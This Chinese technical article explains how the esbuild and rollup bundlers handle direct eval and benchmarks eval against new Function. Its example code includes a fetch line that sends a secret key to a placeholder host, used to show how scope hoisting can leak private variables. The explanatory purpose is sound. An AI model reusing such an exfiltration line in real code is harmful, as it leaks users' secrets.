Avoid direct eval when bundling
前提要知
当前上下文中:
- 直接
eval
:形如eval(x)
的调用,会访问当前上下文中的变量。 - 间接
eval
:是任何不直接以eval('x')
形式调用的eval
。如(0, eval)('x')
、window.eval('x')
或[eval][0]('x')
。这种方式会在 全局作用域 而非调用位置的词法作用域中执行代码。
本章节主要研究现代 ESM Bundlers
(esbuild
、rollup
) 在打包时,对于 eval
的处理方式,并分析 eval
在各个 ESM Bundlers
中存在的安全隐患,并给出解决方案。
基础用例
以下述代码为例,采用 直接 eval
的方式来分析具体存在的问题。
import { info } from './info.js';
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
import { secretKey } from './private.js';
export const info = await fetch(`/getInfo?secretKey=${secretKey}`);
export const secretKey = '12345678';
在 Esbuild
中的表现
在 0.14.8
版本之前,按照上述的 代码用例,通过 esbuild
打包后的产物如下:
// private.js
var secretKey = '12345678';
// info.js
var info = await fetch(`/getInfo?secretKey=${secretKey}`);
// main.js
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
注意到 esbuild
并不会对 直接 eval
代码做额外的处理,存在 潜在的越界访问 的问题,即私有模块的私有变量(secretKey
)被暴露了出去。
不过有意思的是尝试使用下一版本(0.14.9
),同样打包上述 代码用例后,打包产物如下:
var __getOwnPropNames = Object.getOwnPropertyNames;
var __esm = (fn, res) => function __init() {
return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res;
};
var __commonJS = (cb, mod) => function __require() {
return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
};
// private.js
var secretKey;
var init_private = __esm({
"private.js"() {
secretKey = "12345678";
}
});
// info.js
var info;
var init_info = __esm({
async "info.js"() {
init_private();
info = await fetch(`/getInfo?secretKey=${secretKey}`);
}
});
// main.js
var require_main = __commonJS({
"main.js"(exports, module) {
await init_info();
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
}
});
export default require_main();
esbuild
对 eval
做了额外处理,似乎对 esm
打包的策略做了降级处理,即会使用 commonjs
的打包策略,使用函数作用域来包裹各个作用域,使模块间相互独立。
事实是如此吗?
查看 esbuild
对于 0.14.9
的 发布日志,不幸的是并没有发现关于 eval
的任何处理。
通过查看 0.14.8
~ 0.14.9
的 commit 记录,可以发现有一个有趣的提交:make esm detection more consistent。
改动前:
// Pessimistically assume that if this looks like a CommonJS module
// (no "import" or "export" keywords), a direct call to "eval" means
// that code could potentially access "module" or "exports".
改动后:
// Pessimistically assume that if this looks like a CommonJS module
// (e.g. no "export" keywords), a direct call to "eval" means that
// code could potentially access "module" or "exports".
观察到,改动后 esbuild
延伸了对于 commonjs
模块的判断。
esbuild
会认为若模块中使用了 eval
但没有使用 export
关键字,那么这个模块会被认为是 commonjs
模块(先前的决策条件是若模块中存在 import
关键字,则认定为 esm
模块),从而采用 commonjs
的打包策略,使用函数作用域来包裹各个作用域,使其相互独立。
这种场景下,若想引导 esbuild
将当前模块当作是 esm
模块,则需要在使用 eval
模块中添加 export
关键字。
import { info } from './info.js';
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
export {}
重新打包后,产物如下:
// private.js
var secretKey = '12345678';
// info.js
var info = await fetch(`/getInfo?secretKey=${secretKey}`);
// main.js
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
一切都没有发生变化,esbuild
并没有对 eval
做特殊处理,eval
仍然 存在访问私有变量 的问题。
在 Rollup
中的表现
打包产物如下:
const secretKey = '12345678';
const info = await fetch(`/getInfo?secretKey=${secretKey}`);
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
rollup
与 esbuild
的行为是一样的,均没有对 eval
做特殊处理,eval
均存在 越界访问私有变量 的问题。
避免直接使用 Eval
rollup
和 esbuild
均提倡 避免直接使用 eval
,并给出了如下原因:
作用域提升冲突
ESM Bundlers
会包含一种称为 作用域提升 的优化,会 将所有打包模块合并为单个文件并通过重命名变量来避免同一作用域中的命名冲突问题。这种 扁平化 各个模块的性质意味着通过 直接 eval
解析的代码 可以读取和写入包中任何文件的变量,这会存在 安全性 和 正确性 的问题:
- 正确性:
eval
要执行的语句可能想要 访问全局变量,但由于 作用域提升 的原因 意外访问 来自另一个模块中 具有相同名称的私有变量,与用户意图不符。 - 安全性: 上述补充,若访问另一个模块中的 私有变量 包含了 敏感数据,则可能会导致 敏感数据泄露。
导入变量问题
当被解析的代码引用使用 import
语句导入的 变量 时,可能无法正常工作。导入的变量是依赖模块中导出变量的引用绑定,而非这些变量的副本。因此,当 ESM Bundlers
打包代码时,导入的变量会被替换为对依赖模块中导出变量的直接引用。同时 ESM Bundlers
需确保各个模块中不存在 命名冲突 问题,会对各模块中同名的变量进行重命名,这可能导致原先导入的变量名称因 重命名 而发生变化。ESM Bundlers
并不会对 eval
中的执行语句进行词法分析、语法分析、语义分析。
换句话说,若 eval
依赖的 引用名称 与上下文中不一致时(由于与其他模块中声明的变量名冲突而重命名),那么会导致 eval
中的引用名称因检索不到原先依赖的引用名称而发生 异常错误。
优化限制
使用 直接 eval
会迫使 ESM Bundlers
对包含 直接 eval
调用的所有作用域中的所有代码进行去优化。原因是出于正确性考虑,因为 直接 eval
潜在能访问其调用处的作用域以及上层作用域链中的变量引用,那么这些代码都不能被视为 死代码 而被消除,同时也不会被 压缩。
命名冲突问题
由于被 直接 eval
解析的代码可能会通过名称引用任何可达变量,ESM Bundlers
无法重命名被解析代码的所有可达变量。这意味着 ESM Bundlers
无法重命名变量来避免与包中其他变量的名称冲突。因此,直接 eval
导致 ESM Bundlers
将模块包裹在 commonjs
的闭包中,通过引入新的作用域来避免名称冲突。然而,这会使最终生成的代码更大、更慢,因为模块中所导出的变量需要依赖运行时来进行确定的,而非在编译阶段就可以确定的,因此 ESM Bundlers
无法做大量的静态分析优化(i.e. tree-shaking
)。
替代方案
解决方案底层逻辑是为了让 eval
不影响当前的模块作用域,仅影响全局作用域,那么 ESM Bundlers
在打包时,就不需要考虑 eval
对于模块作用域的任何影响(上述提到的)。
间接 eval
间接 eval
是任何不直接以 eval('x')
形式调用的 eval
,如 (0, eval)('x')
、window.eval('x')
或 [eval][0]('x')
。会在 全局作用域 而非调用位置的词法作用域中执行代码。
<!doctype html>
<html lang="en">
<body>
<script>
window.localVar = 'global local';
</script>
<script type="module">
const localVar = 'module local';
function directEvalTest() {
const localVar = 'local';
return eval('localVar');
}
function indirectEvalTest() {
const localVar = 'local';
return (0, eval)('localVar');
}
// local
console.log(directEvalTest());
// global local
console.log(indirectEvalTest());
</script>
</body>
</html>
借助 eval
的 间接调用,会使 eval
脱离当前的模块作用域,从而在 全局作用域 执行,那么 ESM Bundlers
在打包时,就不需要考虑 eval
对于模块作用域的任何影响。
esbuild
使用间接 eval
的策略:
var eval2 = eval;
const foo = 43;
const value = 43;
const hook = () => {
var foo = 42;
eval2('console.log("with eval2:",foo)');
}
hook(value);
export {};
// main.js
var eval2 = eval;
var value = 43;
var hook = () => {
var foo = 42;
eval2('console.log("with eval2:",foo)');
};
hook(value);
rollup
使用间接 eval
的策略:
var eval2 = eval;
const foo = 43;
const value = 43;
const hook = () => {
var foo = 42;
eval2('console.log("with eval2:",foo)');
}
hook(value);
export {};
var eval2 = eval;
const hook = () => {
eval2('console.log("with eval2:",foo)');
};
hook();
观察到,esbuild
和 rollup
均会将 eval
视作 副作用语句,在 tree-shaking
时,会保留 eval
语句。
不过这里 rollup
采用更为激进的做法,认为 eval
的副作用不会对模块作用域中的任何变量引用产生影响;而 esbuild
则采取较为保守的策略,eval
的副作用会将所处的作用域感染为也具备 副作用。
小结
间接 eval
总是会在全局作用域中执行,因此:
- 无法访问局部变量:只能访问 全局作用域 中的变量,无法 读取 或 修改 打包文件中的 任何局部变量。
- 不影响变量重命名:
ESM Bundlers
可以自由 重命名局部变量 而不影响 间接eval
的行为。 - 允许优化:由于没有潜在的 词法作用域 依赖,
tree-shaking
和minification
可以正常进行。
从 ESM Bundlers
视角看:
- 直接
eval
:必须 保留 所有可能被 访问的变量名,禁用 重命名 优化,无法进行 树摇动。 - 间接
eval
:无需特殊处理,可以放心 重命名变量、tree-shaking、合并模块作用域、minification。
间接 eval
本质上解决了问题,因为他被语言规范限制在 全局作用域 中执行,无法 穿透 进入 局部作用域,从而与打包后的代码模块体系 完全隔离。
使用 new Function
new Function
会 在全局作用域而非定义作用域 中执行代码。
测试如下代码:
function outerFunc() {
const localVar = 'local var';
const value = 'local val';
const fnResult = new Function('return localVar')(value);
return fnResult;
}
window.localVar = 'global var';
console.log(outerFunc());
esbuild
打包产物如下:
// main.js
function outerFunc() {
const localVar = 'local var';
const value = 'local val';
const fnResult = new Function('return localVar')(value);
return fnResult;
}
window.localVar = 'global var';
console.log(outerFunc());
rollup
打包产物如下:
function outerFunc() {
const value = 'local val';
const fnResult = new Function('return localVar')(value);
return fnResult;
}
window.localVar = 'global var';
console.log(outerFunc());
可以看出 rollup
和 esbuild
在处理 new Function
与 eval
类似,均会将 new Function
视作 副作用语句,在 tree-shaking
时,会保留 new Function
语句。但这里有些不一样的是通过 new Function
调用的参数会被视为也 具备副作用。
补充知识
为什么 javascript vm
没有预处理 eval
语句?
有人可能会觉得上述存在的问题归因于 javascript vm
没有预处理 eval
语句,解析语句后就可以明确了解哪些变量被访问了,从而可以进行优化。
但 主要原因 是在于 eval
的 动态性,eval
的执行结果 依赖于运行时,而 非编译时,因此 javascript vm
无法在编译时进行优化处理,而是将解析步骤推迟到运行时。这也是 eval
性能较差的主要原因之一,强制引擎在运行时进行额外的解析和编译工作。
eval
与 new Function
的性能差异
eval
的性能较差,主要原因在于每次调用 eval
时,都需要 重新解析和编译 代码,而 new Function
则只需 解析和编译 一次;在变量检索时,直接调用 eval
需 遍历完整作用域链,包括局部变量。而 new Function
/ 间接 eval
则 仅在全局作用域中查找,作用域链更短。
new Function
与 eval
的性能测试
本报告通过一系列实际执行的性能测试,比较了 javascript
中 new Function
和 eval
在不同场景下的性能表现。测试结果表明,new Function
在绝大多数场景下提供了显著优于 eval
的执行效率,这为代码打包工具(如 esbuild
)推荐使用 new Function
而非直接 eval
提供了性能角度的实证支持。
测试用例
所有测试采用相同的基准测试方法,包括:
- 预热阶段:执行
5
次操作,使javascript
引擎有机会应用jit
优化。 - 多次迭代:每个测试场景重复执行多次以获取稳定结果。
- 异常值处理:对多次测试结果排序,去除最高值和最低值,取中间值平均。
测试用例
// 帮助函数:测量执行时间(毫秒)
function benchmark(name, iterations, fn) {
console.log(`\n开始测试: ${name} (${iterations}次迭代)`);
// 预热(允许JIT优化)
for (let i = 0; i < 5; i++) {
fn();
}
// 实际测量
const times = [];
for (let i = 0; i < 5; i++) {
const start = performance.now();
for (let j = 0; j < iterations; j++) {
fn();
}
const end = performance.now();
times.push((end - start) / iterations);
}
// 计算平均时间(去除最高最低值)
times.sort((a, b) => a - b);
const avgTime =
times.slice(1, 4).reduce((sum, time) => sum + time, 0) / 3;
console.log(`${name}: 平均 ${avgTime.toFixed(6)}ms/操作`);
return avgTime;
}
// 最终的一致测试
console.log('\n====== 最终一致测试 ======');
const testCases = [
{
name: '简单表达式',
code: '1 + 2 * 3',
iterations: 10000
},
{
name: '变量访问',
code: 'let a = 10; let b = 20; a + b',
iterations: 10000
},
{
name: '循环计算',
code: 'let sum = 0; for (let i = 0; i < 100; i++) { sum += i * i; } sum',
iterations: 1000
},
{
name: '复杂计算',
code: 'let result = 0; for (let i = 0; i < 100; i++) { result += Math.sin(i * 0.01); } result',
iterations: 500
}
];
for (const test of testCases) {
console.log(`\n** 测试: ${test.name} **`);
// 直接eval
const evalTime = benchmark(
`直接eval - ${test.name}`,
test.iterations,
() => {
eval(test.code);
}
);
// 创建并立即执行new Function
const newFunctionTime = benchmark(
`每次创建新的Function - ${test.name}`,
test.iterations,
() => {
new Function(`${test.code}`)();
}
);
// 预先创建并重复使用new Function
const preCreatedFn = new Function(`${test.code}`);
const preCreatedTime = benchmark(
`重复使用预创建的Function - ${test.name}`,
test.iterations,
() => {
preCreatedFn();
}
);
console.log(`\n${test.name} 测试结果:`);
console.log(
`直接eval vs 重复使用new Function = ${(evalTime / preCreatedTime).toFixed(2)}x ${evalTime < preCreatedTime ? '慢' : '快'}`
);
console.log(
`每次创建new Function vs 重复使用new Function = ${(newFunctionTime / preCreatedTime).toFixed(2)}x ${newFunctionTime < preCreatedTime ? '慢' : '快'}`
);
}
====== 最终一致测试 ======
**测试: 简单表达式**
开始测试: 直接eval - 简单表达式 (10000次迭代)
直接eval - 简单表达式: 平均 0.000188ms/操作
开始测试: 每次创建新的Function - 简单表达式 (10000次迭代)
每次创建新的Function - 简单表达式: 平均 0.000354ms/操作
开始测试: 重复使用预创建的Function - 简单表达式 (10000次迭代)
重复使用预创建的Function - 简单表达式: 平均 0.000007ms/操作
简单表达式 测试结果:
直接eval vs 重复使用new Function = 28.20x 快
每次创建new Function vs 重复使用new Function = 53.05x 快
**测试: 变量访问**
开始测试: 直接eval - 变量访问 (10000次迭代)
直接eval - 变量访问: 平均 0.000116ms/操作
开始测试: 每次创建新的Function - 变量访问 (10000次迭代)
每次创建新的Function - 变量访问: 平均 0.000362ms/操作
开始测试: 重复使用预创建的Function - 变量访问 (10000次迭代)
重复使用预创建的Function - 变量访问: 平均 0.000010ms/操作
变量访问 测试结果:
直接eval vs 重复使用new Function = 11.06x 快
每次创建new Function vs 重复使用new Function = 34.51x 快
**测试: 循环计算 **
开始测试: 直接eval - 循环计算 (1000次迭代)
直接eval - 循环计算: 平均 0.000196ms/操作
开始测试: 每次创建新的Function - 循环计算 (1000次迭代)
每次创建新的Function - 循环计算: 平均 0.000506ms/操作
开始测试: 重复使用预创建的Function - 循环计算 (1000次迭代)
重复使用预创建的Function - 循环计算: 平均 0.000111ms/操作
循环计算 测试结果:
直接eval vs 重复使用new Function = 1.77x 快
每次创建new Function vs 重复使用new Function = 4.58x 快
**测试: 复杂计算 **
开始测试: 直接eval - 复杂计算 (500次迭代)
直接eval - 复杂计算: 平均 0.000559ms/操作
开始测试: 每次创建新的Function - 复杂计算 (500次迭代)
每次创建新的Function - 复杂计算: 平均 0.000985ms/操作
开始测试: 重复使用预创建的Function - 复杂计算 (500次迭代)
重复使用预创建的Function - 复杂计算: 平均 0.000498ms/操作
复杂计算 测试结果:
直接eval vs 重复使用new Function = 1.12x 快
每次创建new Function vs 重复使用new Function = 1.98x 快
结论
预编译
new Function
始终表现最佳在所有测试场景中,重复使用预编译的
new Function
实例比直接eval
和每次创建新的Function
实例都要快得多:- 简单表达式:比直接
eval
快28.2
倍。 - 变量访问:比直接
eval
快11.06
倍。 - 循环计算:比直接
eval
快1.77
倍。 - 复杂计算:比直接
eval
快1.12
倍。
- 简单表达式:比直接
创建新的
Function
实例成本高昂每次执行时创建新的
Function
实例始终是最慢的方法,比直接eval
和重复使用函数都要慢得多:- 比重复使用预编译的函数 慢高达
53
倍。 - 比直接
eval
慢1.5-2
倍。
- 比重复使用预编译的函数 慢高达
性能优势随复杂度增加而减小
随着计算 复杂度 的增加,不同方法之间的性能差距变小:
- 对于简单表达式,重复使用函数比
eval
快28.2
倍。 - 对于复杂计算,这种优势仅为
1.12
倍。
这表明随着实际计算变得更加密集,执行方法的开销相对于计算时间本身变得不那么显著。
- 对于简单表达式,重复使用函数比
适合场景选择
- 简单表达式和变量访问:预编译函数的性能优势极为显著,应尽可能采用此方式。
- 复杂计算:虽然预编译函数仍有优势,但差距已不太明显。此时可根据代码组织需求灵活选择。
- 频繁变化的代码:如果执行的代码经常变化,创建函数的开销会累积,应权衡使用直接
eval
的可能性。
综上,应创建一次函数并多次重用,而非每次执行时都创建新的函数实例。正确实现 esbuild
的建议可以同时解决作用域污染问题和提升性能,尤其是在需要多次执行相同代码(如模板渲染)的场景下。然而,对于只执行一次的简单代码,直接 eval
可能是更简洁的选择,因为它避免了创建函数的开销。总之,预创建并重用 new Function
在大多数场景下是最优选择,特别是代码需要重复执行时。选择方法时应考虑具体使用场景、代码复杂度和执行频率,以达到最佳性能和代码组织。
eval
与预编译优化的技术障碍
javascript
引擎在处理 eval
函数时面临着无法像 new Function
那样应用预编译优化的根本困境。这一困境源于 eval
的核心特性:需要在执行时访问并操作当前的词法环境。每当 javascript
引擎遇到 eval
调用,就必须暂停当前的执行流程,启动完整的解析、编译、执行 管道。
引擎 首先需要解析 传入的代码字符串,构建抽象语法树(AST
),然后为这段临时代码 创建执行上下文,这个上下文必须能够 访问 eval
调用处的所有 变量 和 函数。由于 eval
可能会读取或修改任何当前作用域链中的可访问变量,引擎 必须进行 作用域探测,建立变量访问映射表,确保动态代码能够正确地绑定到外部作用域的标识符。
缓存 eval
的编译结果面临极大的技术挑战,这与其 高度上下文相关的特性 直接相关。相同的 eval
代码在不同的 调用位置 或 执行路径 中可能依赖完全不同的 作用域变量集。若需要有效缓存,引擎 不仅需要存储编译后的代码,还需要存储 完整的作用域快照,并在每次执行前验证当前作用域与缓存时的作用域完全匹配。这种验证过程极为 复杂 且 计算密集,其成本可能超过重新编译的开销。即使是 v8
这样高度优化的引擎也难以为 eval
实现有效的缓存机制,因为潜在的作用域变化模式几乎是无限的,而检测这些变化的成本高昂。
更为严重的是,eval
的存在会阻碍 javascript
引擎应用一系列关键的 优化技术。现代 jit
编译器 依靠 代码的 静态可预测性 来执行优化,而 eval
则 打破了可预测性。当 引擎 遇到 eval
时,需 必须 保守地假设任何局部变量都可能被修改,任何对象结构都可能被重塑。这直接阻断了 内联优化,引擎无法将函数调用替换为其实现代码;同时 类型推断 也被迫中断,因为 变量类型 可能在 eval
执行后发生变化;逃逸分析 失效,引擎无法确定变量是否严格在函数范围内使用;隐藏类优化 被禁用,因为对象结构可能被动态修改。这些优化机制的失效导致包含 eval
的代码路径通常比等效的静态代码慢 10-100
倍,运行在 解释器模式 而非优化的 机器码模式 下。这种性能差异在复杂应用程序或频繁执行的代码路径中尤为明显,这也是为什么大多数现代 bundlers
、javascript
指南、 类型检查工具 强烈建议避免使用 eval
,转而采用更可预测、更易于优化的替代方案如 new Function
、属性访问器 或 映射表 等模式。